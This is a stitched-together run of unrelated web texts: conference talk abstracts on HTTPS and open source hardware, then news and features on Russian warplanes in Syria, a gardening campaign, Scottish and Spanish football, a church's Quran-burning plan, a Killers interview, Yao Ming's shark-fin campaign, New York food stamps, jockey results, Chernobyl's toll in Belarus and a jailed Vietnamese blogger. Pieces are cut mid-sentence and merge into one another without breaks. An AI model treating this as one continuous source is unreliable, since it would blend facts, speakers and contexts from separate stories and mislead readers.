Over the past couple of years, a flurry of developments and events have been happening in the world of HTTPS: from BEAST to HSTS to public key pinning and mixed scripting. Some of these are of abstract interest to technical users, and some require action on the part of webmasters. This talk will cover the broad brush strokes of these developments with a focus on how webmasters can take advantage of them and how to avoid silly configuration mistakes. In the latter part of the talk, a few expected future developments will be covered.
Sunday 1700 Nutt| Download Audio: 16kbps or 64kbps
The State of Open Source Hardware
Dustyn Roberts, Catarina Mota
In the last few years, open source hardware went from an obscure hobby to a burgeoning movement built on values and practices derived from open source software, hacker culture, and craft traditions. This increase is visible in the exponential growth of the community of developers |
Syria if its mission is to help Assad beat ISIS. “I have not seen ISIL flying any airplanes that require SA-15s or SA-22s,” he said, using one of several acronyms for the militant group.
Breedlove said he suspects Russia is trying to set up what the military calls a “anti-access, area-denial,” or A2AD, zone in western Syria. Moscow has recently established these zones in the Baltic region and in the Crimean Peninsula, which Russia seized from Ukraine in 2014. “We are a little worried about another A2AD bubble being created in the eastern Mediterranean,” Breedlove said.
The point of these zones is to give Russia exclusive access to strategic regions, Breedlove claimed. In the case of western Syria, an A2AD zone helps to ensure that Moscow can send forces into the eastern Mediterranean, which NATO has dominated since the Soviet Union’s collapse in 1991.
Russian access to the Mediterranean via Syria requires that Assad’s regime survives, however. In that sense, Moscow’s strategic aims dovetail with the Syrian regime’s goals. Thus the Su-25s, Su-24s, and Su-34s very well could end up joining Damascus’s air war on the rebels and militants. The Su-30s, however, will probably be guarding against a very different enemy.
Of course, high-end warplanes can be repurposed to fight lower-tech foes—the U.S. has done just that, in its decade and a half bombing Afghanistan and Iraq. And many militaries deploy air-to-air fighters merely as precautions. A small contingent of U.S. Air Force F-22 stealth fighters, which can carry bombs but are best at aerial fights, plays a leading role in the coalition air campaign targeting ISIS.
The F-22s act as “quarterbacks,” according to Carlisle, using their sophisticated sensors to spot targets for other planes and also protecting those planes against Syrian fighters and missiles. To date, the Syrian regime has not attempted to interfere with the U.S.-led bombing runs, but the F-22s keep flying.
But neither has the coalition tried to interfere with the Syrian air force’s attacks on opposition fighters—yet. U.S. Army Special Forces have been training, at great expense, a small number of Syria rebels the Pentagon had hoped could form the core of a reinvigorated, secular rebel force that can knock back ISIS.
The problem is, many rebel trainees in the American program have made it clear they prefer to fight the regime first. Many have dropped out of the program in the face of Washington’s demands, compelling the Pentagon to remove them from the training effort. U.S. Defense Secretary Ashton Carter told Congress, using the administration’s preferred acronym for ISIS, that he wants recruits “to have the right mindset and ideology, not be aligned with groups like ISIL...[and] to fight ISIL.”
“It turns out to be very hard to identify people who meet both of those criteria,” Carter added.
Worse, once the recruits complete their training and go to fight ISIS, the U.S. military will have “some obligations” to protect them, Carter said. If U.S.-trained rebels turn their weapons against the Syrian regime and Russian warplanes bomb them, would that compel American F-22s to attack the Russians—and then force the Russian Su-30s to intervene?
It’s not hard to see how Russia’s support of Assad could run afoul of America’s support for secular Syrian rebels—and how Moscow’s effort to establish an aerial foothold in Syria could draw U.S. and Russian jet fighters into battle with each other.
Don’t pretend for a moment that that terrifying notion hasn’t crossed the minds of generals and politicians in both Moscow and Washington.'Edible Britain' is the theme of RHS (Royal Horticultural Society) Britain in Bloom 2013. Between April 7th and 14th, community gardening groups given seeds by the RHS will plant 2000 edible gardens throughout public spaces in the UK.
The Britain in Bloom campaign has annually encouraged more than 200,000 people to spend nearly 4.4 millions hours of time enhancing their communities. On average, each year, 115,00 trees, 352,000 shrubs, and 21.6 million plants and bulbs are planted across the nation.
Stephanie Eynon, RHS Community Horticulture Manager, said: "Britain in Bloom isn’t just about pretty hanging baskets brightening up gloomy streets, it’s about improving the environment, enhancing lives and bringing communities together through gardening. ‘Edible Britain’ will see new public herb and vegetable gardens planted across the UK, bringing access to tasty produce to thousands."
A survey taken by the RHS found that 90% of groups participating in Britain in Bloom claim the biggest boon are community development and more than 50% of the groups claim a significant drop in crime and anti-social behavior.
http://www.rhs.org.uk/Charlie Telfer, the player widely regarded as the pick of Rangers’ youth team, will today sign for Dundee United.
The 18-year-old midfielder has decided to swap Ibrox for Tannadice in a move that will see the Tangerines eventually pay a development compensation fee.
The Carluke-born playmaker is a lifelong supporter of the Light Blues and had been offered fresh terms by his boyhood heroes after his contract ended at the end of the season.
However, the fact he is prepared to set sentiment aside and join United for football reasons is a huge compliment to manager Jackie McNamara and his coaching team.
McNamara has been a long-time admirer of the Scotland under-19 international and will sign him as a first-team player despite not being fully established as such at Ibrox.
The transfer tug-of-war between Rangers and United will be won by the Tangerines today when he puts pen to paper on a contract.
A development fee has yet to be agreed by the clubs and if that remains the case an independent panel will be called upon to decide the matter.
The Tangerines are understood to have already offered a fee in the region of £60,000, while Rangers are rumoured to be looking for a six-figure sum.
United are also understood to be on the brink of making a second signing, with Queen’s Park youngster Blair Spittal a likely candidate.In his report after the game between Córdoba and Real Madrid, referee Alejandro Hernández Hernández didn't refer to violent conduct when describing the reason why he sent off CR7. "In the 83rd minute Cristiano Ronaldo was sent off for the following reason: kicking an opponent when the ball was out of reach", the report read.
Just minutes after not being seen lashing out at another opponent, Ronaldo kicked out at Edimar, leading to a straight red card.
The Refereeing Committee will decide over the next week how long Ronaldo will be suspended for. At the moment, he is certain to miss the game against Real Sociedad next Saturday. If the ban were to stretch to more than two matches he would be forced to sit out the Madrid derby against Atlético, as Real must play the rearranged clash against Sevilla in between, but the referee's decision not to qualify the star's actions as violent conduct could yet help his cause.Members of a church in Gainesville, Florida are planning to commemorate the anniversary of the terrorist attacks on Sept. 11, 2001 by burning Qurans. The "International Burn A Quran Day," is just the latest in anti-Islamic protests that the Dove World Outreach Center holds each year on 9/11.
"The goal of these and other protests are to give Muslims an opportunity to convert," said the church's pastor, Terry Jones.
The church stirred up controversy last year when in July, they put out signs that read "Islam Is Of The Devil," which is also the title of the pastor's book.
"We are definitely trying to send the message that Jesus Christ is the only way, said Jones.
The church has been known for its controversial nature since it was founded by Jones in 1981. The Dove World Outreach Center has also been very outspoke about abortion, gay marriage and homosexuality. Members of the congregation plan to meet on August 2 to protest the election of Gainesville's first gay mayor. They have come under scrutiny in the past for picketing with signs that said "No Homo Mayor."THOSE Brandon Flowers solo albums?
Turns out the Killers’ frontman wasn’t doing them to stretch his creative wings — and stroke his ego — outside the band he formed in Las Vegas in 2001.
Flowers’ first solo record, 2010s Flamingo, followed the Killers’ first three albums released in a hectic five year whirlwind that saw them relentlessly tour a string of hits — Mr Brightside, Somebody Told Me, Smile Like You Mean It, All These Things That I’ve Done, When You Were Young, Read My Mind, Human, Spaceman and even a b-sides and covers album — around the world.
While Flowers wanted to keep the band going, bassist Mark Stoermer was already tiring of touring. Enter Flowers’ solo project. The second Flowers solo record, 2015’s The Desired Effect, followed a Killers’ singles stopgap singles compilation Direct Hits in 2013.
Flowers admits his solo career was designed to give his band mates a break from touring — despite the fact the Killers are still one of the few bands of their era who can headline festivals or play huge arena shows.
“That was the initial idea,” Flowers says. “It still wasn’t enough for them, obviously. If you look at it from that perspective it’s a little frustrating, obviously, but we’ve got to respect everybody’s wants and needs. I think we’re figuring out how to navigate it.”
Come the fifth Killers album Wonderful Wonderful, guitarist Dave Keuning may be in the band photos but he’s joined Stoermer in only being a Killer in the studio, not on the road.
“It is strange,” Flowers admits. “I can’t think of a band that’s done anything like that. It’s not like there’s a handbook on how to deal with this but we’re doing our best. The first test was with Mark, he stopped touring with us and it ended up being a blessing for the band.
“He was much more eager to go to the studio, he felt like he had a monkey off his back, he really contributed a lot to this record. It opened up this line of communication that wasn’t there before, it ended up benefiting the band. Hopefully with Dave opening up about some of his issues with touring maybe there’ll be some sort of renaissance that happens there. I don’t know yet, but it definitely was good for us with Mark.”
Ever the optimist, Flowers is looking for the positive — the band breaking news to Killers fans (who call themselves Victims) on social media first.
“The ideal situation is everyone stays together. There aren’t many bands that have been able to do it. U2 obviously. Same four guys. A lot of bands I grew up with either broke up or had different members coming in and out. The Cure always had changes in the line-up. Duran Duran. I think we’re going to be OK.”
Wonderful Wonderful is an interesting Killers record. Launched with the swagger of single The Man, dig deeper and it’s a surprisingly personal record from Flowers, who keeps his private life off guard after media fascination with his Mormon faith.
Tana Flowers, his wife, revealed to website Mormon Women in 2013 she suffered depression and anxiety and alluded to an abusive childhood before being diagnosed with PTSD.
The musician told UK magazine Q he cancelled the last leg of his 2015 solo tour after his wife expressed “suicidal” thoughts.
The dark period makes up key moments on Wonderful Wonderful — Tana is the “motherless child” referred to in the title track, while their children sing “can’t do this alone, we need you at home” on the intensely personal Some Kind of Love. Rut is another song dripping with pain.
“I usually like to observe and absorb everything,” Flowers admits. “Not just what’s happening in front of my face. I’m a spectator of lives. I like to watch people. But it’s not the same as when you’re really navigating and exploring what’s going on in your own life and taking it head on. That’s what I was doing on this record.
“It forced out some tenderness. You’re in a rock and roll band, you’ve got all this energy, you’ve got this freight train of a band playing on stage and you want to capture that. Me going into this new territory maybe brought out some tenderness you haven’t really heard on a Killers record before. But it’s nicely contrasted with songs like Run for Cover and Tyson v Douglas, they’ve got a lot of testosterone in them.
“People who are struggling could benefit from songs like Rut and Some Kind of Love and Life to Come. People need songs like that. Having a bit of history behind them doesn’t hurt them.”
Flowers has become the main champion of Australian musician Alex Cameron.
When The Killers launched Flowers got a reputation for being outspoken and slating acts he didn’t like; a habit he fast stopped as the headlines grew.
So he decided to take a more proactive approach when he heard music he did like.
“I used to talk so much trash that I figured if I heard something I liked I should let that person know,” Flowers says. “I started making a habit, when I heard a song I loved I got my manager to track down the artist and get their email for me.”
Flowers heard Cameron’s song Mongrel and his album Jumping the Shark and was impressed.
“I got his email and did my due diligence,” Flowers says.
Cameron had just come off stage when it landed.
“My phone vibrated in my pocket and it was an email from Brandon Flowers,” Cameron recalls. “He said he appreciated what we were doing and if I ever needed a place to crash in Vegas to come and see him. A few months later we did make it to Vegas and hung out for a week, writing. It was one of the more generous and educational songwriting experiences I’ve ever had.”
As well as Flowers writing with Cameron on his new song Runnin’ Outta Luck (”I’d written a verse which I thought was a chorus. Brandon goes, no that’s a pre-chorus, here’s the chorus and he played it and I went ‘OK’. I almost had a meltdown it was so good”), Cameron helped Flowers with some lyrics for Wonderful Wonderful.
“He came in handy, he’s sharp as a tack,” Flowers says.
“Brandon certainly doesn’t need any help with melodies and songwriting, he’s an absolute beast,” Cameron says. “In my experience he’s a singular talent. I suppose he just wanted a fresh perspective on what the record is about, one of my skills is telling stories. Most of it came from discussions, sitting in the studio, and some lyrics came out of that.”
Out of My Mind is a love song for Flowers’ wife that also sees him name-drop working with Paul McCartney and Bruce Springsteen.
“I was hesitant about that, I was nudged into that territory by Alex for sure,” Flowers says.
Cameron said he insisted the A-lister voice was kept in.
“The song is about how your partner loves you for you, not for what you do. Their relationship is founded on love, they’ve known each other for years. But he’s also had this success. He could be playing a gig in a pub or in a stadium with Bruce Springsteen — and he’s done both — and she’s been there.
“The day he emailed me he put on Twitter how the Killers had done a show with Paul McCartney. That’s insane. So I said ‘Let’s list all the things you’ve done anyone would be impressed by’ but it still wouldn’t change how your wife felt for you. The song is about home and family. I think Brandon knew that Paul McCartney line was pretty good though...”
Flowers played with McCartney at a New Year’s Eve party at the start of this year — for Russian billionaire Roman Abramovich in St Barts.
“It was a fancy party,” Flowers says of the event that also featured sets from Guns N’Roses and the Rolling Stones.
Flowers had played the Beatles’ Helter Skelter back in 2007 with the Killers.
“It was in Sydney with Craig (Nicholls) from the Vines and the Howling Bells. So we knew Sir Paul was coming to the party, we did our best to brush up on Helter Skelter backstage and crossed our fingers.”
Once on stage, Flowers was joined by McCartney for the Beatles classic.
“I got him to come up. It just worked out. When it was happening it was just fun. The second it was over I had to really compose myself. It wasn’t like it hit me 24 hours or a week later, it was instant. I had to stop myself from crying before we finished the song.
“Paul had picked When You Were Young as one of his favourites of 2006, he was out filming on his phone when were playing, singing along to Smile Like You Mean It. Just that was enough. That would have made my year right there. But getting to sing Helter Skelter with him was incredible.”
Wonderful Wonderful also sees Flowers tick more heroes off the list. Have All the Songs Been Written? features Mark Knopfler of Dire Straits guesting on guitar — The Killers have covered their Romeo and Juliet before.
“I was late in the game to Knopfler and Dire Straits. I was obviously aware of Money for Nothing and Walk of Life, but I didn’t know it went further than that and how much further it went and how many great songs he had under his belt. That came in later in life for me, I’m still digging in, so it was a real honour to have him sharp shoot on that song.”
The title came during Flowers’ writer’s block period. He decided to email another one of his musical mates — Bono.
“The subject line of the email was ‘Have All the Songs Been Written?’,” Flowers says. “I think we all ask ourselves that at some point, you just have to sit down and give it a shot. There has been so much greatness, so much ground has been covered. Bono could tell from my email I was struggling. He said ‘That’s a hell of a title, why don’t you start there?’”
The Killers will return to Australia for the AFL Grand Final, playing the main musical slot in the show as well as a free concert on the MCG afterwards. Ahead of a full Australian tour next April, Flower wants to make sure they get their football moment right.
“You only get so much time, we want to showcase ourselves and represent Las Vegas and also pay our respects to Australia a little bit. We are trying to figure out how to do all those things in 15 minutes.”
Wonderful Wonderful (Universal) out Friday. The Killers, AFL Grand Final, Saturday September 30. Free post show concert from 6pm at the MCG.
The Killers, Brisbane Entertainment Center April 27, Qudos Bank Arena Sydney April 28, Perth Arena May 1, Hisense Arena May 4. On sale October 3.By Orion McCarthy
SHARK POPULATIONS across the globe have been in decline for decades, with approximately 100 million sharks removed from the oceans each year. Demand for shark fin soup drives such relentless fishing, accounting for 73% of sharks harvested from the seas, and as a result 1 in 4 shark species are now endangered.
Despite such dire projections, there may be some hope for sharks yet, and it comes from the unlikeliest of sources.
Yao Ming, the eight-time NBA all-star who played for the Houston Rockets from 2002 to 2011, is a conservation all-star in his own right. Through a partnership with the conservation organization WildAid, Ming has become the face of the movement to end the consumption of shark fins in China.
Shark fin soup has been a popular delicacy among the Chinese elite for generations. While shark fins contain little meat, sharks are often sought purely for their expensive fins to fuel demand for soup. Dismembered sharks are often tossed overboard to drown or bleed to death after their fins have been hacked off, decimating populations of sharks and the ecosystems they occupy.
Blowing the popularity of shark fin soup out of the water quickly became Ming’s top priority.
In the past decade, increasing affluence and standard of living across China have meant substantially more people can afford the status symbol of shark fin soup. With demand increasing, the WildAid/Yao Ming shark fin awareness campaign was launched to educate the public about the ecological and health problems associated with consuming shark meat.
The campaign was launched ahead of the 2008 Beijing Olympics and gathered steam from there. Armed with the slogan “when the buying stops, the killing can too”, ads featuring Ming appeared on Chinese state television 3250 times in 2013, with further exposure through social media and ads on public transit and in public buildings across China. Other media stars, including Jackie Chan and popular Chinese actress Hai Qing, have taken up the cause as well.
In 2006 as many as 75% of Chinese citizens were unaware that shark fin soup, directly translated as “fish-wing soup” even came from sharks. By 2013, public perception of shark fin soup had drastically changed.
An independent iResearch survey in 2013 found that 82% of respondents said they would stop their consumption of shark fin soup, a direct result of Ming’s awareness campaigns. The same survey found 91% support for a nationwide shark fin ban, and the Chinese government has since banned shark fin soup at state dinners. In addition to the awareness campaign, those surveyed cited a desire to conserve sharks and animal cruelty concerns as reasons for giving up the soup.
Recent figures have shown demand for shark fin soup beginning to fall.
Prices for shark fin in Guangzhou, China’s shark fin trading hub, have fallen by 57% from 2012 to 2013 with prices still in a free fall. Hong Kong, another shark fin hot spot, saw the volume of shark fins traded drop from 10.2 million kg to 5.3 million kg from 2011 to 2013. Fishermen in Indonesia, a popular source for Chinese shark fins, have seen their income from shark fishing drop by 80% since 2007, threatening to make the shark fishery go belly up.
Building off of success in China, WildAid expanded the reach of Ming’s campaign to Hong Kong, Malaysia, Singapore and Taiwan in 2015.
Through his work with WildAid, Ming can take the lion’s share of the credit for such a sea change in public opinion and drop in shark fin consumption. A Chinese superstar and natural icon, people across the People’s Republic adore and trust Ming. His campaign has been far more effective than a faceless international campaign of the same scale could ever be.
Sharks are by no means saved. A recently leaked video of a whale shark being dismembered for its fins while still alive illustrates the very real threats still facing sharks worldwide. But changing public opinion is the first step to real change.
The effectiveness of such a campaign boils down to awareness and trust. Many consumers of shark fin soup, or of ivory or rhino horn for that matter, are unaware of the ecological damage caused by such products, or of the inhumane methods of harvesting them. To the uninformed consumer, shark fin soup is simply a cultural status symbol, a dish that upwardly mobile Chinese aspire to afford. Since condemning shark-finning means condemning a cultural practice, the most effective results and limited backlash can be achieve by a trusted, cultural insider.
Positive results from his anti-shark-finning campaign have encouraged Ming to target other unsustainable branches of the wildlife trade that can be traced back to China. Elephant and rhinoceros poaching in Africa have spiraled out of control in recent years due to demand for ivory and rhino horn back east. Ming has visited Africa several times to bring light to the issue, and his visits with locals, tour of an elephant orphanage, and first hand encounters with poaching are featured in the fantastic Animal Planet special Saving Africa’s Giants. Hopefully shedding light on the issue will begin to spur cultural change and lessen demand for exotic animal products.
What YOU can do
Sharks are not alone in their plight. Lots of species could benefit from a little awareness. An educated consumer is the most powerful weapon conservationists have when battling market forces that threaten species with extinction. When the public’s attention shifts towards a conservation cause, the money and political willpower to fix it follow close behind.
Do your part to stay informed, and be an eco-conscious consumer. Watch documentaries, read articles, and look at labels before purchasing. When you happen upon a cause that you care about, let people know it’s important, both to you and for the Earth. Take to social media to let your friends and family know; by associating yourself with the issue in their minds, they are more likely to change their behavior. After all, that is what Yao Ming did in China, just on a larger scale.
You don’t need to be an international sports icon to affect change. Everyone has the power to be a superstar in their own community. Once you speak up, you may be surprised how many people were waiting with open ears.
LEARN MOREWilliam Kristol at The Weekly Standard carries the ball for preserving the integrity of the conservative movement and the future of the GOP.
Well, today’s nominating process may not live up to Hamilton’s vision. But finding fault with the process does no good at this point. Whatever modifications of the nominating process are desirable should be on the agenda for the future. And whatever contingencies of this year’s race that have made it harder than it should be to stop Trump provide no excuse for not doing what we can, now, to stop him.
After all, it’s not every day that we’re given the opportunity to rise above the normal jousting of personal ambitions and partisan politics. It’s not every day that we can do something to carry on the work of the Founders. Denying the Republican nomination for the presidency to a man with “talents for low intrigue and the little arts of popularity” would be a modest but not negligible contribution to vindicating what Federalist 39 calls “that honorable determination which animates every votary of freedom to rest all our political experiments on the capacity of mankind for self-government.”• Former Argentina coach is the new favourite to succeed Garry Monk • Bielsa has been out of work since leaving Marseille in August
Marcelo Bielsa has emerged as the favourite to succeed Garry Monk, with the search for a manager taking the Swansea chairman, Huw Jenkins, to South America.
The former Argentina coach is a surprise contender to succeed Monk, who was sacked last week after a run of one win in 11 games, and is now set to hold talks with Jenkins.
The 60-year-old quit as the Marseille coach only one match into the season, following a 1-0 home defeat to Caen, and his dramatic resignation fitted his volatile reputation and his nickname of El Loco.
If Marcelo Bielsa did not exist it would probably be necessary to invent him | Barney Ronay Read more
He had joined Marseille at the start of the 2014-15 season when they led the Ligue 1 standings for much of the first half of the campaign before fading to finish fourth.
Bielsa, who was linked to Cardiff when Malky Mackay was sacked two years ago, has an impressive CV having coached Argentina at the 2002 World Cup and Chile at the 2010 finals. The Rosario-born coach also took Athletic Bilbao to the Europa League and Copa del Rey finals in 2013.
He was once described by Bayern Munich’s Pep Guardiola as the “best manager in the world” but his appointment would represent a risk for Swansea, who are above the teams in the relegation zone only on goal difference after Saturday’s 2-1 defeat at Manchester City.
Bielsa does not speak English, has never managed in the Premier League and his colourful style of management may upset some players. He gives different parts of his squad separate training times and is known to measure pitches by pacing them out before deciding on a particular formation. He has lasted barely beyond two years at any of his former clubs in Argentina, Mexico and Spain, with his longer stints only coming in his international roles.
Jenkins’s primary concern is finding a coach who will provide a short-term fix and lead the club away from relegation, especially as anxiety over missing out on the £5bn Premier League television deal, which kicks in next season, played such a major part in Monk’s departure.
The Chile coach, Jorge Sampaoli, remains of interest and could also be the subject of a Jenkins’ visit to South America. While landing the 55-year-old who guided Chile to their maiden Copa América triumph in July would seem unlikely, Sampaoli has been unsettled in recent months after the head of the national federation, Sergio Jadue, pleaded guilty in the United States to Fifa corruption charges.
Sampaoli said in a statement last week that he is waiting until early next year to determine the direction of the Chilean federation before deciding his future.
Both Bielsa and Sampaoli favour an energetic and high-pressing game and that is something the Swansea board are keen to return to following the players’ lethargy towards the end of Monk’s 22-month reign.
The former Sunderland and Brighton manager Gus Poyet remains a possible candidate but the Uruguayan’s club, AEK Athens, insist he will remain in Greece until the end of his contract in the summer.
“We have not been approached by Swansea, there is no need for us to be approached and no propositions have been made from Swansea,” an AEK spokesman told BBC Wales. “Mr Poyet is happy at the club and will be our manager at least until the end of the season.”
Sevilla’s Unai Emery is also admired by the Swansea hierarchy but the board accept persuading the double Europa League winner to leave Spain would prove difficult, if not impossible.
Alan Curtis took charge at Manchester City and the caretaker manager will be in the Swansea dugout again for the home game against West Ham on Sunday if a new appointment is not made in time.“It made no sense to make New Yorkers go hungry as punishment for being underemployed — working less than 20 hours a week — or being unable to find employment in a continuing difficult economy,” said Steven Banks, commissioner of the agency. He added that the cost of having more people on food stamps would be covered entirely by federal aid and that the local economy would only benefit from more dollars being spent at groceries and bodegas.
In the Bronx, Jonathan Callender, a former sanitation worker, said he lost $189 a month in food stamps in March because he could not work. Since then, Mr. Callender, 50, who said he had asthma and chronic back pain, has been going every day to a soup kitchen run by Part of the Solution, a nonprofit group, so that he could eat. “There isn’t nothing I can do right now because I have to take care of my health first,” he said.
The Coalition for the Homeless feeds up to 1,200 people a night during the summer, its busiest time. Meals to go are handed out at St. Bartholomew’s Church on Park Avenue and carried by three vans to more than two dozen preset locations. The feeding program, which costs about $750,000 a year, is financed with government funds, foundation grants and private donations.
Dane Hudson, 24, an unemployed diesel mechanic who has been staying with friends in the Bronx and Brooklyn, said that most nights he went to the church because his food stamps were not enough to cover his meals for the month. “It’s hard in this city,” he said. “You really see the line between the haves and the have-nots.”
An army of volunteers serves the meals night after night. At precisely 7 p.m. on Tuesday, Fernell High slid behind the wheel of a van loaded with 380 meals. Mr. High, 43, a building engineer, said he saw homeless people camped out at Grand Central Terminal nearly two decades ago, and rather than just step over them, decided he wanted to help.
As he drove up to the first stop, on 35th Street under the Franklin D. Roosevelt Drive, two dozen people stood waiting. “I can save my money instead of buying food,” said Timm Tyler, 50, who was laid off from his job as a clerk at a health center this spring and lives in a nearby shelter. “The bottom line is they need more programs like this.”
Later, on Lafayette Street, an eager crowd swarmed around as Mr. High jumped out of the van, threw open the back doors and called for order as he handed out plastic bags. One woman, saying she was old, tried to push past him. “Everybody’s old,” he replied. “You still have to wait.”
By 9 p.m. the food was gone. Mr. High did not bother driving to the last stop, outside Pennsylvania Station.Firing Apprentices returns, adding a little fizz to the start of your week. Aren’t you the lucky ones? Before looking at last week’s racing, we would like to send our best wishes to Sammy Jo Bell who is recovering from a bad fall. Everyone is looking forward to seeing her back in the saddle, as soon as possible.
Plenty of apprentices notched on Monday, although none followed-up with further victories as the week progressed. Quite frankly, it’s downright laziness and we blame the parents!
Many won at massive odds though, so we shouldn’t be so curmudgeonly about their exploits. The winners were Firing Apprentices’ heroine Josephine Gordon (Baby Gal, Leicester, 20/1), Rob Hornby (Henryhudsonbridge, Leicester, 33/1), George Downing (Faintly, Leicester, 7/4), Mark Flanagan (Ah Littleluck, Sligo, 2/1), Cian Collins (Isabella Liberty, Sligo, 6/1), Jody McGarvey (Yes Man, Sligo, 33/1), Breen Kane (Belle Helene, Sligo, 25/1) and Andrew Ring whose stunning hold-up ride on Luckey Seven (Sligo) led to the 9-year-old romping home at 66/1!
Bet Now On Who’ll Be Champion Apprentice, in 2016!
Shane Fights His Way To A Brace
Shane Shortall showed what an excellent young jockey he is, grabbing the first of 2 consecutive wins on Tuesday at Hexham. The lead changed hands more often than a grubby old fiver, before Heart O Annandale (7/2) beat Shaiyzar by 11 lengths. This was followed by a cosy victory on Fighting Days (10/1), at Down Royal. Nice!
Tuesday also saw wins for Arnie Waugh (Sharivarry, Hexham, 8/1), Adam Nicol (Sultana Belle, Hexham, 12/1), James Corbett (Stay In My Heart, Hexham, 10/3), Harry Kinder (Magnolia Ridge, Hexham, 10/1) and Page Fuller (Carrigkerry, Southwell, 5/2).
Nutty Noonan’s Quality Quartet
David Noonan went completely nuts, last week, picking up the first of 4 winners on Wednesday! Bernisdale beat 16 other runners to win by a neck at Newton Abbot (4/1).
On Sunday, Noonan dodged the proverbial banana-skin by winning comfortably on red-hot favourite Fountains Windfall (Fontwell, 1/6) and won the next 2 races to complete a consecutive hat-trick! Both Sir Dylan and Chill Factor won at 9/2. It was a case of ‘after Noon’, for other riders at the West-Sussex racecourse (you just don’t get these puns on The Morning Line, no wonder the show will be taken off the air next year!).
Doyles At The Double
There was ‘Doylight’ for backers of Joe and Josh (see what we did there, as well?), with both apprentices winning on Wednesday and following-up.
Joe Doyle’s win at Hamilton (The Wee Barra, 7/1) preceded a made-all victory aboard Geno (Beverley, Evs). Josh won by 2 lengths on San Quentin (Hamilton, 8/1), before triumphing on Lawless Louis (Catterick, 3/1).
Wednesday’s other winners include Adam McNamara (Wotabreeze, Hamilton, 9/2), Clifford Lee (Felix Leiter, Lingfield, 9/2), George Wood (Hint Of Grey, Lingfield, 11/4), Emma Todd (French Seventyfive, Southwell, 6/1), Nathan Moscrop (Grey Monk, Market Rasen, 8/1), Dean Pratt (Odds On Dan, Market Rasen, 8/1), Ned Curtis (Christmas In April, Market Rasen, 5/6), Martin McIntyre (Stand By Me, Newton Abbot, 14/1), Donnacha O’Brien (Monarch, Gowran, 8/11) and Donagh O’Connor (Talented Kid, Gowran, 16/1).
Finntastic!
Finny Maguire has the name of a man you would expect to bite your nose off in a back street bare-knuckle fight and the fighting qualities of this excellent apprentice were on display last week. Both of his victories (Thursday, Miss Eyecatcher, Tipperary, 8/1 and Friday, Bosco Di Alco, Down Royal, 3/1) were hard-won and Maguire deserves a huge amount of credit.
So does Jordan Vaughan, the sole claiming apprentice to win at Sandown’s prestigious evening meeting on Thursday. Chevalier (12/1) ran on well, to beat Jalawi by a short-head. Connections celebrated a Class 3 win and the lion’s share of a good purse.
There were more Thursday winners, including Nick Slatter (Vedani, Bangor, 33/1), Shelley Birkett (Firmament, Newcastle, 5/1), Paddy Bradley (Coto, Newcastle, 2/1), Anastasia O’Brien (Arya Tara, Tipperary, 6/4) and Jack Kennedy (Heartbreak City, Tipperary, 4/7).
Nifty Nathan’s At It Again
Nathan Evans will have felt Mick Easterby’s palm on his back, following a brace of Musselburgh victories on Friday. Qaffaal (2/1) beat Atreus by a length, after Evans had already landed the spoils on Bowson Fred (9/2). That makes 16 combined wins, this season, already.
Bet Now On Who’ll Be Champion Apprentice, in 2016 |
reports that Young will once again team up with Penguin Random House imprint Blue Rider to release a new book this fall.Though the book is still untitled, the publisher said that it's an "eclectic amalgam," and will include artwork from Young as well as his thoughts on the environment. His recent work on the Honor the Treaties tour will likely be a source of inspiration for the book.In addition to the new memoir, Young has a new album set to arrive next month from Third Man Records. More information on that can be found here Recent tour footage of Young performing "Mother Earth" can be streamed below.Share This Story Tweet Share Share Pin Email
About 70% of the radioactive fallout from the Chernobyl disaster landed in Belarus, heavily contaminating one-fourth of the country, one-fifth of its agricultural land and affecting at least 7 million people. More than 2,000 towns and villages were evacuated, and about a half-million people have been relocated since 1986, according to Chernobyl International, a humanitarian organization with links to the United Nations. The group estimates that Chernobyl costs Belarus 20% of its annual budget.
CLOSE The border town of Belarus may have suffered the worst when nearly 70 percent of the radioactive fallout landed there. KIm Hjelmgaard, USA TODAY
SUDVOKO, Belarus — Igor Buynevich and Nikilay Kotlyarchuk were observing a regular Sunday in a scruffy border town in Belarus by preparing to drink vodka behind a small grocery store and pass banter back and forth.
It was 8 a.m., sunny but frigid cold. Chernobyl’s nuclear power plant lay less than 4 miles away.
Buynevich was leaning on a bike with a homemade storage box fastened on back. Three bottles of vodka and a half-empty bag of hard candies were neatly packed inside.
Nikilay Kotlyarchuk on March 6, 2016.
(Photo: Kim Hjelmgaard, USA TODAY)
They said they were waiting for friends to join them.
“Many of us in the area have cancer or diabetes,” said Kotlyarchuk, 35, an art teacher in Sudvoko’s school.
He earns about $150 per month, a sum he said was not enough to prosper on but kept him from starving.
"At least two-thirds of the kids where I teach can’t do physical exercise because if they fall down it is a very real possibility they will break a leg or worse," he said, then offered some vodka.
A derelict house inside the Exclusion Zone in Belarus.
(Photo: Kim Hjelmgaard, USA TODAY)
"Our lives are not good," he said. "It’s the same for all in this region. It’s the secret everyone knows."
As he spoke, Kotlyarchuk placed one hand on the bike to help keep it upright. He said he did not know how many people were ill from Chernobyl and the government never spoke about it, or if it did, it was only to say everything was normal.
Kotlyarchuk did not think everything was normal.
"We are in this position because of Chernobyl, but what can we do about it?" he said. "Even after all these years, we know nothing."
Belarus is not known for rolling tumbleweed and the sound of dry, hollow wind. But that image would not be out of place in Sudvoko. A handful of dogs were heard in the distance, the village’s wide but featureless main street seemed to have no central focal point. There were no cars and little sign of the town’s few thousand inhabitants.
Rural Belarus, near the border with Ukraine.
(Photo: Kim Hjelmgaard, USA TODAY)
"We often joke that some of these sick kids have three legs," said Buynevich, 36. He works for an energy firm and earns about twice what Kotlyarchuk does. "Although I haven’t seen that myself."
Buynevich said he believed, although he admitted he had no way of knowing for sure, that children born after the accident are now seeing the most medical problems. (Buynevich and Kotlyarchuk were 5 and 6, respectively, at the time of the accident.)
Neither man wanted to discuss his own health in detail, or that of his family.
Recent independent field research by Greenpeace concluded that harmful isotopes such as cesium-137 and strontium-90 have decreased considerably in Belarus since 1986, but they persist in economically depressed towns like Sudvoko.
Many inhabitants continue to eat fruit and vegetables, fish, mushrooms and berries cultivated in areas exposed to radiation.
"Did you know they eat cheese from this region in Poland and Russia?" Buynevich said.
Radioactive materials are also redistributed by forest fires.
Last year, Buynevich said, a forest fire on the Ukrainian side of the border combined with high winds caused radiation here to spike as much as 50 times the average level. He knew that only because his brother works as a guard in the Polesie State Radioecological Reserve, Belarus' Exclusion Zone.
No one in the town had any way of measuring it.Reporters Without Borders deplores the five-year jail sentence that a Hanoi people’s court passed on the blogger Le Thanh Tung at the end of a summary one-hour trial on 11 August, just three days after fellow blogger Dinh Dang Dinh was given a six-year sentence (below).
